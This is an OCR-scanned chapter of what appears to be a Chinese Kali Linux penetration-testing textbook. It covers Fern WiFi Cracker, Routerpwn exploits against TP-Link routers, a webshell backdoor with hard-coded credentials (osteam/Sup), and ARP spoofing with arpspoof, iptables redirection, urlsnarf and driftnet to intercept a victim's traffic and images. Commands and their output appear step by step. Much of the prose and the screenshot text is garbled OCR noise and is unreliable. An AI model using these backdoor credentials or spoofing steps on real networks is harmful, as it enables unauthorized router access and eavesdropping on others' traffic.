(("J) Sean for Accenn poirkn

@ a Cimdration Shabyt
E WIFI Crach 1.5 w VT Dwinshon Statia
Currertly inatalled versors Red don B4
ey Databe Fia Wery Braries
|
— —
Fythan Versian 273 dedsuls
Alrerade Yerso SrcreckTig 1.7 beiwl
Gt Vermorr 4.9 % Toousas
|

Akt Fern WAFT Cracisr
B waite b wirsless ereryphion strength beateg of B2 1L wirtless ere oy phior sterde d sconss poiedts

Wriktmn by Sswour Erarusl Boko Eapors Bugs at : savichoyziimodossmeil com

¥ 938 Fern WiFi Cracker = S50

(2) itk Fe ek M e84 10, JF it Scan for Access points P Brd14tli Lk 4%,

Wil 9.39 Frork.

Fern WIFI Cracker

5wl

L8]

Manitcr Mook Frablsd on mond

() e

Fern WIF| Cracker 1.9 @ e 1 e
|
Wbl to theds dor updabe s reteork beeout
Eeyp Datanse Mo Ky ki
|
. J
Fythaon Versan 2 7.3 defsuls
Airerudh Vwreorr Sircredemig 1.2 beiwl
@t Verwor 495 Toollcs
|
J

ARt P WIF] e

B paite for wirslsss srony pion strength teeting of B02. 11 wirsless srcry pion stsrdend scoens poiren.

Wirizimn by Sasour Emmanusl Boka Espom Bugn &t 0 eevioboysi@rodos sead com

€ 9.39 4 ALk 4

= 301 -



3R ARRaE

(3) fEiZSLmikFE WiFi WEP B WiFi WPA [E¥5, 455500 E 9.40 B i Fm

Attack Panel

= 9.40 AR H bR
Uf /]-», a

hhhhh

Attack Panel

P 941 FfENE

)x AT BLE R, Ok ® 6556 M. ik Rley 2 BAER, e
QTR (2 Py b I et IR [ET v s B RSO .3 T PTIRY e

|‘-..l



O Rk SR

9.7 MEHRWAH

AT/ 28 0 S R TR, #2 e bY, SROEREDI oM es. e —1 k&
M ER IR BT AT W &b, Bih e e E NG — HEEH A J’f‘i{ﬁtﬂéﬁ|r|#r~'f|’1f1‘f"“
MW A e A . A -SR] PonT e s 40 H S A P ER DR P 4 R
(H0E, B A Gk AEdE Sl B P SR RS Tl R A KA . Jsﬁ”*f
fi, or EURH B th 88 5 SH7 R DR SE i B0 . AT A 4448 ) Routerpwn T L SE 2L
of %% FH 25 -

Routerpwn ”JﬁEJJ'_’f}iJ|JiJ§_»KI1iﬁ,y,rlf’_[ AT H . BRI AR % A1k . Routerpwn
AUFELE Kali B H g Mk . HE Lk 2y http://routerpwn.com/. 1% P4 S5 HE (L) I
W IR 2T W M 4%, WP 9.42 Aros.

2Wire
3Com
Arris

Comtrend Netgear TRENDnet
DD-Wrt Pirelli Ubee
D-Link RuggedCom  Ubiquiti

Sagem Unicorn

EasyBox Seagate UTStarcom

Alpha Fibrehome Siemens Xavi
Asmax Freebox Sitecom ZyXEL
Asus Huawei SMC ZTE
B?Ik'n MiFi Thomson Zoom

Cisco Motorola TP-Link

Alcatel EE

Lucent

% 9.42 Routerpwn = U1[f]

Maz sl LLERIG R 2w hes, mEE S R D-Link, Huawei, Netgear flI
TP-Link . #1245 0 O HARM R85 FEH MW A=) /i, X HIEFE TP-Link, # 5 nE
9.43 Py [F1 51 .

TP-LINK

TD-8817, TD-W8901G, WDR740N, WR743ND, WR842ZND, WA-301ND,
WR941N, WR341ND, WR1043ND, WR2543ND, MR3220, MR3020,
WRE41N, TD-8840T , WDRT740N, WDRT40D

05/26/12 [+] TP-Link WDR740NDAWDR740N - Directory Traversal [SET IF]

011414 I+ TD-8840T - Reset Password to Blank [SET IP]
08/06/13 [+ WR1043ND denial of service [SET IP]
08/06/13 [+] WR1043ND enable root filsystem on FTP CSRF [SET IP]
D4/08/13 I+ TD-8817 TD-WBSB01G blank admin password CSRF [SET IF]

05/26/12 Webshell backdoor (user: osteam password: Sup) [SET IF]
* Top

P 9.43 SRR R
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MAZ ST UG B 2 55 N RS 1) TP-LINK 24 b 25 22 0] F) H A0 T . 76 2% 1 2%
40 22 b fhos T e L iR RS B ANMADI[SET 1P &k Tiie HI ok B H bRk
EIRR 1 P,

[3£4) 9-61 FIH Webshell backdoor Jigifil, #eHL—ANREFL g s A o i i 3% 1P Jih
HE9192.168.0.1) 447, FLAEERE PR R,

(1) {FPE 9.43 hf i [SET IPHEEL, #5ae tl—iGHE, LnfH 9.44 Bk,

(2) FEAZATIEHE, S AN ZLEGH AV (i 2800 IP Mbhb. SRJ5 9 “ifoe ™ %, S
i 9.45 Frsfa G .

EEE TR

SRR httpy/f192.168.0.1:80 BFFEA RAFSHIER.
BREMET : TP-LUNK Wirsless N Router WR1041M,

routerpwn.com FRIMEORET :
R~E: admin
TP 55 - R
WiE A Be Lot
5 9.44 A H bl b 4% 1P Huhk 5 9.45 Bkl dias A G HE

(3) 7E% SN Gk B 2 I P A2 AV, A b B ER DAY HT P 4 A R
admin. SRl <G $EHL R ot 9.46 Frosit Frii .

T | =

T g || 0 ®w= | )

| E&EE
EEAE |
EGEE

| EENAT |
T Tk

T EAEER

| EERAE |
E&EE

| EEEEN
EHARP
Z6ERE

946 %7

(4) JBeRf, RSt vl LT — G B i as (s B dr %, W ERE . Mg, B
F A NAT 5. 50 B RAE 9.46 o M= it i8] A6 A1 005 B xSt imdgr a2 0,
e B A P AR X HLAO H P 2 REERD JE Routerpwn 9935 Webshell backdoor i
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#9H JCEG M HRIE N

Pet iR P A A Costeam A Sup) o Hild0, Sy “EAME” #%H, il 9.47
IERENE

/[ TL-WRI1041N = N

« > ¢ 192.168.0.1/userRpmNatDebugRpm26525557/linux_cmdiinehtml <% [ E.

ARE osteam =
| k% || F-& |
s | ®e | Wz | A%
ifconfig -
bl Link encap:Ethernst HWaddr BC:EB:73:FB: X000

inet addr:192. 168, 0.1 Beaszt: 192, 168, 0. 265 Mask: 265, 265, 265. 0
UF BROADCAST RUNNING WULTICAST MTU: 100 Metric:l

¥ packets:2218T7601 errors:0 dropped:0 overruns:0 frame:0

TE packets: 244867896 errorz:0 dropped: 0 overruns:0 carrier:0
colliziong: ) txqueuslen: D

B¥ bytes:1T30662856 (1.6 G2B) TE bytes:2MEZ00445 (2.1 GiB)

wthil Link encap:Ethernet HWaddr 00:03:7F:FF:FF:FF
UF BROADCAST RUNNING WULTICAST MTU:1500 Metric:l
¥ packets:313T4498 errors:( dropped: 36002 overrunsz:0 frame:0
TE packets:26320T88 errors:0 dropped:| overruns: 9613 carrier:0 .
collisions: 0 txqueuelen: 900 | @SN
R bytes:194205TT06 (1.8 GiB) T bytes: 1137624415 (1.0 GiB)

@RS

ethl. ] Link encap:Ethernet HWaddr 6C:EB:73:F8:3C:C0

UF BROADCAST RUMNING NULTICAST NTU:1500 Metric:l EEEm

BX packets:2218T8395 errorz:0 dropped:0 overruns:0 frame:0

T packets:24486T896 errors:0 dropped:D overruns:0 carrier:0 | E&/NAT

collisions:0 taxqueuslen:O

B bytes:2668220808 (2.4 GiB) T bytes:II2TEE1020 (3.0 GiB) HEEAT
eth.2  Link encapiEthernet H¥addr 6C:E8:73:F6:30:C1 | EEAERR

UF BROADCAST RUNNING WULTICAST MTU: 1500 Metrie:1

Ff packets: 244363222 errors:0 dropped: 0 overruns:D frame:( | EEELLE

T8 packets: 217660508 ervors:0 dropped:0 overruns:d carcier: =

P 9.47 i AR M AT

(5) MizFrinnl LI 23 hash, PraiEferyMeg 58, Wi i I bk, MAC
Huhb A R A R AR e AT e S A, WIESR S A ifconfig fir . MG
My *RIR” HHl, i 9.48 Fok.

o (| &
/[ TL-WR1041N x

€« & € [7192.168.0.1/userRpmMatDebugRpm26525557/linux_cmdline.html 5 [ =

MAE aglearn =B
I
| k=% | T—%
s |i:un'ﬁg | B | &A= | B

948 mfrird i Meg (s
(6) fEiZStmpy “Rik” s, fbrds EAE 9.47 s B k.

9.8 Arpspoof TF-

Arpspoof Ji /M HEN IR ARP BRI IEACIEFE Y . ST AN S R v 4 ) £ 1)
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B3k A REENG

5, 1% T L S e b o s Don i 206 BRI EE . A4 Arpspoof T H.[1)
1.

9.8.1 URL gL

URL i S FAE i el o N Boiti, Gk H bR B0 R b i A3 P . %0
B ARP N SR . AN A 801 F Arpspoof L H 9B URL i 4840 2 idi
] Arpspoof T- K5I URL Wi fE Uity . HoAg e fE D SRR Ay

(1) R IR, ATarS W F s,

root@kali:~# echo 1 == Jproc/sys/net/ipvd/ip_forward

PATEA B4 s, BRI B

(2) Ji&h Arpspoof jEANGH HER RS . b ik dih# (192.168.6.102) ik
ARP Eifde, DURCHR ¢ (192.168.6.1) HIH bR RS (192.168.6.101) . NIl 5G9 H
BRELZ, AT 4 i AR

root@kali:~# arpspoof -i eth0 -t 192.168.6.101 192.168.6.1

50:e5:49:eb:46:8d 0:19:21:3f.c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f.c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f.c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f.c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f.c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f.c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f.c3:e5 0806 42 arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

S g s B o T B0l & B bR B L 192.168.6.102 Az ik () A AL .

50:e5:49:eb:46:8d F T & 1) MAC Huhik: 19:21:3f:¢3:e5 #75 192.168.6.101 [ MAC k.
UL ERRR MG TS, HAREHL 192.168.6.101 45956 192.168.6.1 Ak St #05 &

ERNVHEE 192.168.6.102 |-

(3) {#H] Arpspoof i AT 6. $hATdr S Wi R s

root@kali:~# arpspoof -i ethO -t 192.168.6.1 192.168.6.101

50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:5:49:eb:46:84d

LA b AR R S T B ) SR 192.168.6.1 ATE B AL, iR IGE ) fE, Bk
192.168.6.1 & H b &40 192.168.6.101 145 BUALE B VG & 41 192.168.6.102 .

(4) LA EAPIRERAT T 5, Bk bR 2 4l T OGS H bR VLR 1 B . T
ey 2 AT LAIEL s i 381 1 23 f'*r'T"ftlJl | br #4 B s A

y I AT & S = N T a1 SR 1 S

[ 9-7) ikl H ereshark AL IE Arpspoof T H (4. H ks b
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ffr s e
(1) Jiah Wireshark T H . 7F Kali Linux S [4GRGEFEE “ W HFES*” [Kali Linux|Top 10
Security Tools|wireshark 4>, ¥f B ri1E 9.49 B i) Ftif .

The Wireshark Network Analyzer [Wireshark 1.10.2 (SVN Rev 51934 from [tr HI:JIJ

File Edit Wiew Go Capture Analyze Statistics Telephony Tools Intermals Help
@@4dE I SNxe aesrr T EE -

Filter: “ | Expression... b

The World's Most Papulnr Network Protoco

WIRESHARK
Interface List = Open
Live list of the capture interfaces Opena previously captured file

(counts incoming packets)
Open Recent:

‘ Starl:

Choase o or Mere Ferfaces bo capture from, then Start
" frootftargethost.pcap (22 kB)

B eth0
i nfleg
P any

® Sample Captures

Ready to load or capture No ... . Profile: Default

P9 9.49 Wireshark f3ah 5L i

(2) {EiZSL0 Start R0, JEFFEAEIAEE . X% FE oth0, SR )5 ¥idy Start $464,
¥ Bt 9.50 B (1 LI .

*ethO [Wireshark 1,10.2 (SVN Rev 51934 from ftrunk-1.10]] o [x

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
codm sfhxe aesr+ T2 E -

Filter: w | Expression... A

Mao. Time Source Destination Protocol Len

1 2014-05-14 08:51:40.693304( Vmware c0:00:08 Broadcast

2 2014-05-14 08:51:41.693295( Vmware_c0:00: 08 Broadcast ARP

oooo ff ff ff ff ff ff OO0 S0 S6 <O 0O 08 08 06 00 OL
D010 0B 0D OS5 04 0D Q1 00 S0 56 <O 00 08 cO a8 29 01
0020 0D OD OD OD 0D OD cO a8 29 02 00 00 OO0 00 00 00

O ® File: "tmpiwireshark_pcapng-eth0... .. Profile: Default

5 9.50 flf S

(3) &S ] LA Wireshark ZE1TH 2G50 5 M2 i 8l 5 1k Rkl i £t £
(4) fEHFRFRS 192.168.6.101 | ping M 192.168.6.1. i1 4 FHiR:

C:\Users\Administrator=ping 192.168.6.1
LL Edr AT sen, # Kali F % Wireshark JTUHLF) Ecdli 40, g 9.51 Fros.
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[

*oth0 [Wireshark 1.10.2 [SVN Rev 51934 from /trunk=1.10]] E--L-IL-I

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Halp

0@dm/ @NXe ae«e>2FT S EE 2= #0EE -

Filtar: ~  EXpression...

Ma. Time Source Destination Protocel Lengtl Info
48 IRN4-B5-14 BT:15:38 192.168.6.181 192.168.6.1 ICHP 4 Eche (ping) request 1d4=0x0001, seq=13/3328, r.t1=12'E!
38 2014-85-14 B7:15:58 192.168.6.181 192.168.6.1 IcCMP M4 Eche (ping) request 1d=0x0001, seq=13/3328, ttl=127
31 2014-B5-14 BT:15:38 192.168.6.1 192.168.6.181 ICMP M4 Eche (ping) reply 1d=0x0001, seq=13/3328, ttl=64
35 2014-85-14 @87:15:58 192.168.6.1  192.168.6.181 IcMP 14 Echa (ping) reply 1d=0x0001, seq=13/3328, ttl=63

+ Frama 28: 74 bytes on wire (582 bits), 74 bytes captured (582 bits) on interface ©

+ Ethernet II, Src: Elitegro_3f:c3:e5 (00:19:21:3f:c3:e5), Dst: Giga-Byt_eb:46:8d (S0:e5:49:eb:45:8d)
+ Internet Protocol Version 4, Src: 192, 168.6.101 (152.168.6.101), Dst: 192,163.6,'*!19'2,163,6,1]

+ Internet Control Message Protocol

0000 SO e5 49 eb 48 Bd 00 19 21 3f c3 &5 08 00 45 OO P.I.F... 17....E.
0010 00 3¢ 03 aa 00 00 BD 01 a9 60 cO a8 06 &5 cD a8 Beaneas o ool
0020 06 01 OB 00 4d 48 00 01 OO0 Od 61 82 63 64 &5 &6 ... M., ..abcdef

0030 67 6B 60 6a 6b 6c 6d 62 &f 70 71 72 73 74 75 76 ghijklen opgrstuw

O ® File: "fimplwireshark_pcapng_ethd... . Packets: 83 - Displayed: 83 (100.0%) - Dropped: O [.. - Profile: Default
¥ 9.51 il g Bl s

(5) EZFRMER T 192.168.6.101 55 192.168.6.1 7 [A) Fif AL 1k #. Hob (L s
LR 4 5 2N 28-33, 28-30 2 MiEREdE ML RE, 31-33 2 Hbrmi e i it e . Rl
VEAH 73 B 4ty i e it £
28: F5192.168.6.101 () [i] 192.168.6.1 ( Hix) %K i% ping iff=k.

29: i 192.168.6.102 3 192.168.6.101 s (L1 T4: % .

30: Ko 192.168.6.102 ¥ A o B, PR 192.168.6.1 AikiE kK .
31: Fom HER L 192.168.6.1 LY 192.168.6.101 (i .

32: FERIZN N AL IE R 192.168.6.102 [, MEEHZ EHLEL A F) 192.168.6.1.
33: Hbr 4L 192.168.6.1 K5 K 1 i 21445 192.168.6.101 |,

(I I Ny Iy Wy

982 WAOFEEMWEH

i 1 HE R i) SOV s 1 S el TR A o 3 11 B 5 ) A0 3 — o R L e R Clan
80 ¥ 1), - H 5 (o) e (9 5k B AS ) (1035 11 Cln 8080) o SEIMLR 27 My 1) I &b it 2 T
LU IEBERT, IR Dy o] ARG "6 50 [ 42 4 (1) i 10 2810 A N g 1, L () 0 i 8104 o 25 1)

AN S e AN Arpspoof SEEL S U ) X . T Arpspoof S5 HE

S LVILE By . AR 20 3R F s

(1) FFE s s R IGE . AT 4 F BT s:

root@kali:~# echo 1 >> /proc/sys/netfipvd/ip_forward

(2) &l Arpspoof T H.JE AR & FUER LB &5 o @il dn, A b iy 21 DL 5 1 Bk 24
192.168.6.1. AT W F AT

root@kali:~# arpspoof -i eth0 192.168.6.1
i Kali Linux B30T el B4 i, @A B 4E B 1202 Kali 1.0.6 _Ef)—~ bug,
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9T JOER M BRI

UM TE 1% #2400 dsniff BoF R4 it dsniff-2.4b1+debian-22. 44T arpspoof fir & A5
Hbr &S0, HATLE dsniff #4400 4 dsniff-2.4bl+debian-21.1 |- A0 [Fiis4T.
(3) FRh0— 2% 3 1 F00E o) (1 BT hs HE) . AT 2 B B

root@kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
8080

WATEL B A n, AT .
PL A R Th S, 2 ) 1 192.168.6.1 11 80 i 11 263 I, ol & 42 ok 8080
i 1% B Mk B 0L L

9.8.3 THIRFH matl oL M LRATHE

Ut e ) N ik, al RAE Kali Linux $#24F R 40078 H b = HUES B 88 2 0] X
. Pt AR SOR B H B B B EdlE . AR 4 fE ) Arpspoof T H 5 i
ch ) Nk, T oy A A G e o 8 R

C1) JFIA Bt as e R Thfig . ShAT o2 Wi b B

root@Kali:~# echo 1 = /proc/sys/net/ipvd/ip_forward

(2) fi#iH] Arpspoof @iy %Xk T L. AT iy 2 Wl FFfrR:

root@kali:~# arpspoof -i eth0 -t 192.168.6.106 192.168.6.1

0:¢:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75
0:c:29:7a:59:75 0:c:29:fc:a9:25 0806 42: arp reply 192.168.6.1 is-at 0:¢:29:7a:59:75

aaaaaa

PAT L iy A Fe s R 192.168.6.106 ( H br EHL) . MM MAC HbhE B
00:0¢:29:7a:59:75 (Mt 0L - M HETVUCENZEER, BaiE0 ARP SA7 R Pt
MM ARP 42 H. $ATLL B4 )G, e Al AT EIGERN, $#& T Cul+C 4]
A .
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root@kali:~# urlsnarf -i eth0

urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]

192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://[192.168. 6.1:1900/igd.xml| HTTP/1.1" -
- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168. 6.1:1900/13f. xml HTTP/1.1" -
- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:30 +0800] "GET http://192.168. 6.1:1900/ifc.xml HTTP/1.1" -
- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:33 +0800] "GET http://192.168. 6.1:1900/ipc.xml HTTP/1.1" -
- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "GET http://192.168. 6.1:1900/igd.xml| HTTP/1.1" -
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- "-" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Julf2014:13:12:37 +0800] "POST hitp://(192.168. 6.1:1900/ipc HTTP/1.1" - -
" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168. 6.1:1900/ifc HTTP/1.1" - -
" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168. 6.1:1900/ipc HTTP/1.1" - -
" "Microsoft-Windows/6.1 UPnP/1.0"

192.168.6.106 - - [16/Jul/2014:13:12:37 +0800] "POST http://192.168. 6.1:1900/ifc HTTP/1.1" - -
"" "Microsoft-Windows/&.1 UPnP/1.0"

PL F g s B s T H R LU i) B A B

(4) WPt o] LAEH] Driftnet T B, fifidk Hbr R0 Wl ¥ R o $ATar2 0 F Fras:

root@kali:~# driftnet -i eth0

PATLL Ede & s, ST AN 0. PR ENLU7 030 W A B e, R AE iz
g s

(5) BAER T, viE BB L™ e @, BEAE HAx L
SR O ) RN T, Ho RN R 9.52 Eﬁ'ml’ﬂ-;’ru

driftnet |

P 952  H bz EHL i F

(6) iz s T Hbs Lyl BT A Hr&'fff-;JtJJ"n'ujj_i;':'i-'.t'-lﬂ 9.52 AT
f—sk B, ZE R r 8 Kali 4L L. A driftnet 5% &, R W R
fi B

root@kali:~# driftnet -i eth0

driftnet: saving “/tmp/drifnet-YbOzig/driftnet-53c9d45c168e121f.png’ as "driftnet-0.png’

driftnet: saving “/tmp/drifnet-YbOzig/driftnet-53c9d45c168e121f.png’ as "driftnet-1.png’

driftnet: saving "/tmp/drifnet-YbOzig/driftnet-53c9d4ca5d888a08.jpeq’ as "driftnet-2.jpeg’

driftnet: saving “/tmp/drifnet-YbOzig/driftnet-53c9d4d92a6de806.png' as "driftnet-3.png’

driftnet: saving "ftmp/drifnet-YbOzig/driftnet-53c9d4d92a6de806.png’ as "driftnet-4.png’
driftnet: saving “/tmp/drifnet-YbOzig/driftnet-53c9d5351a%9a%e69.png’ as "driftnet-5.png’

WAL 2], (547 T driftnet J3R B0 7 5P 1. JL300E44 40 5024 driftnet-*.png,
it HIZ SO ERARAF 2980 HRF
(7) FHpP ol LEH Linux GG S E S dE, Wk 9.53 Fis.
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